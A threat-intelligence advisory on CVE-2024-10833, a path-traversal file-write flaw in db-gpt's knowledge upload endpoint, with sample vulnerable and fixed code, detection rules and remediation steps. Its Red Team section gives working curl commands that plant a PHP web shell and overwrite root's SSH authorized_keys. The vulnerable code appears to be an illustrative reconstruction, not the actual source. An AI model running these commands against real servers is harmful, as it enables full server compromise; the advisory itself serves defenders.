CVE-2024-10833

Executive Summary

CVE-2024-10833 is a critical arbitrary file write vulnerability in eosphoros-ai/db-gpt version 0.6.0. The flaw resides in the knowledge API endpoint, where the doc_file.filename parameter is user-controllable and not sanitized, allowing absolute path traversal. An unauthenticated attacker can write files to arbitrary locations on the target server, potentially leading to remote code execution (RCE) by overwriting critical system files or application components. The CVSS score is 9.1 (Critical), and no official patch is currently available. This vulnerability is actively being discussed in threat intelligence circles, and proof-of-concept (PoC) code is publicly available.

Supply Chain & Package Security

This vulnerability affects the Python package db-gpt (eosphoros-ai/db-gpt). As a PyPI package, it is distributed via the Python Package Index. Users should verify the integrity of their installed package and monitor for any malicious updates. The lack of a patch increases the risk of supply chain attacks if the package is used in production environments.

CVSS Breakdown & Threat Level

• CVSS Score: 9.1 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The high CVSS score reflects the ease of exploitation and the severe impact on confidentiality, integrity, and availability. An attacker can write arbitrary files without authentication, potentially leading to full server compromise.

Deep Dive & Mechanics

The vulnerability is in the knowledge API endpoint of db-gpt version 0.6.0. The endpoint accepts file uploads for knowledge base ingestion. The doc_file.filename parameter is used to construct the file path on the server. Due to insufficient input validation, an attacker can include absolute path sequences (e.g., /etc/passwd or ../../../../tmp/evil.sh) in the filename. The server then writes the uploaded file content to the attacker-specified location.

Root Cause: The application does not sanitize or validate the doc_file.filename parameter, allowing absolute path traversal. The file write operation uses the user-supplied filename directly without checking for path separators or directory traversal sequences.

Attack Flow:

1. Attacker identifies a db-gpt instance with the knowledge API exposed.
2. Attacker crafts a multipart POST request to the vulnerable endpoint.
3. The request includes a file with a filename set to an absolute path (e.g., /tmp/evil.sh).
4. The server writes the file content to the specified absolute path.
5. If the attacker writes a web shell or cron job, they can achieve remote code execution.

Vulnerable vs. Patched Code

Vulnerable Code (db-gpt 0.6.0):

# Vulnerable endpoint handler
@app.route('/knowledge/upload', methods=['POST'])
def upload_knowledge():
    doc_file = request.files['doc_file']
    filename = doc_file.filename  # User-controlled
    # No sanitization of filename
    filepath = os.path.join(UPLOAD_DIR, filename)
    doc_file.save(filepath)
    return 'File uploaded', 200

Patched Code (Hypothetical Fix):

# Patched endpoint handler
import os
import re

@app.route('/knowledge/upload', methods=['POST'])
def upload_knowledge():
    doc_file = request.files['doc_file']
    filename = doc_file.filename
    # Sanitize filename: remove path separators and directory traversal
    safe_filename = re.sub(r'[\\/]', '', filename)
    safe_filename = os.path.basename(safe_filename)
    filepath = os.path.join(UPLOAD_DIR, safe_filename)
    # Ensure filepath is within UPLOAD_DIR
    if not os.path.abspath(filepath).startswith(os.path.abspath(UPLOAD_DIR)):
        return 'Invalid filename', 400
    doc_file.save(filepath)
    return 'File uploaded', 200

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target: db-gpt instance with knowledge API exposed (e.g., http://target:5000/knowledge/upload)
• Tool: curl or any HTTP client

Exploit Steps:

1. Create a malicious file (e.g., a Python reverse shell).
2. Upload the file with an absolute path to overwrite a critical file.

Example using curl:

# Create a simple web shell
echo '<?php system($_GET["cmd"]); ?>' > shell.php

# Upload to web root (assuming Apache serves from /var/www/html)
curl -X POST -F "doc_file=@shell.php;filename=/var/www/html/shell.php" http://target:5000/knowledge/upload

# Verify by accessing the shell
curl http://target/shell.php?cmd=id

Advanced Exploit (Overwrite SSH authorized_keys):

# Generate SSH key pair
ssh-keygen -t rsa -f /tmp/evil_key -N ""

# Upload public key to target's authorized_keys
curl -X POST -F "doc_file=@/tmp/evil_key.pub;filename=/root/.ssh/authorized_keys" http://target:5000/knowledge/upload

# SSH into target
ssh -i /tmp/evil_key root@target

Blue Team

Detection Steps:

1. Monitor file upload endpoints for suspicious filenames containing path traversal sequences (e.g., ../, ..\\, absolute paths like /etc/).
2. Check for unexpected file writes in sensitive directories (e.g., /etc/, /var/www/html/, /tmp/).
3. Review application logs for file upload requests with unusual filenames.
4. Implement file integrity monitoring (FIM) on critical system files.

Hunting Query (Splunk):

index=web_logs source="/knowledge/upload"
| rex field=filename "(?<suspicious>\.\.\/|\.\.\\|^\/)"
| where isnotnull(suspicious)
| table _time, src_ip, filename, file_size

Indicators of Compromise (IOCs)

• File Paths: Unexpected files in /etc/, /var/www/html/, /root/.ssh/, /tmp/
• Network: POST requests to /knowledge/upload with filenames containing path traversal sequences
• Logs: Application logs showing file writes to absolute paths
• Processes: Unusual processes spawned from uploaded files (e.g., reverse shells)
• File Hashes: Hashes of known malicious payloads (e.g., PHP web shells, Python reverse shells)

Example IOC (YARA rule for file detection):

rule CVE_2024_10833_WebShell {
    meta:
        description = "Detects web shells uploaded via CVE-2024-10833"
        author = "Valters IT"
        date = "2024-01-01"
    strings:
        $php_shell = "<?php system($_GET[\"cmd\"]); ?>"
        $python_shell = "import os; os.system('id')"
    condition:
        any of them
}

Detection Engineering

YARA Rule

rule CVE_2024_10833_PathTraversal {
    meta:
        description = "Detects path traversal attempts in file uploads"
        author = "Valters IT"
        date = "2024-01-01"
    strings:
        $path_traversal1 = "../"
        $path_traversal2 = "..\\"
        $absolute_path1 = "/etc/"
        $absolute_path2 = "/var/www/"
    condition:
        any of ($path_traversal*) or any of ($absolute_path*)
}

Sigma Rule

title: CVE-2024-10833 Path Traversal in File Upload
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal attempts in file upload requests to db-gpt knowledge API
author: Valters IT
date: 2024/01/01
logsource:
    category: web
    product: generic
detection:
    selection:
        http.method: POST
        http.url: "/knowledge/upload"
        http.request.body: "filename=*../*"
    condition: selection
falsepositives:
    - Legitimate use of absolute paths in controlled environments
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-10833 Path Traversal in db-gpt Knowledge API"; flow:to_server; content:"POST"; http_method; content:"/knowledge/upload"; http_uri; content:"filename"; nocase; pcre:"/filename=[^&]*\.\.\//i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the knowledge API if not required, or restrict access via firewall rules.
2. Apply input validation to the doc_file.filename parameter: strip path separators and ensure the final path is within the intended upload directory.
3. Use a whitelist of allowed file extensions and reject any filename containing path traversal sequences.
4. Implement file integrity monitoring on critical system directories.

Long-term Fix:

• Upgrade to a patched version of db-gpt once available.
• Consider using a secure file upload library that automatically sanitizes filenames.
• Conduct a security audit of the entire application for similar vulnerabilities.

Workaround:

• If the knowledge API is essential, deploy a reverse proxy (e.g., Nginx) to filter out malicious filenames before they reach the application.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert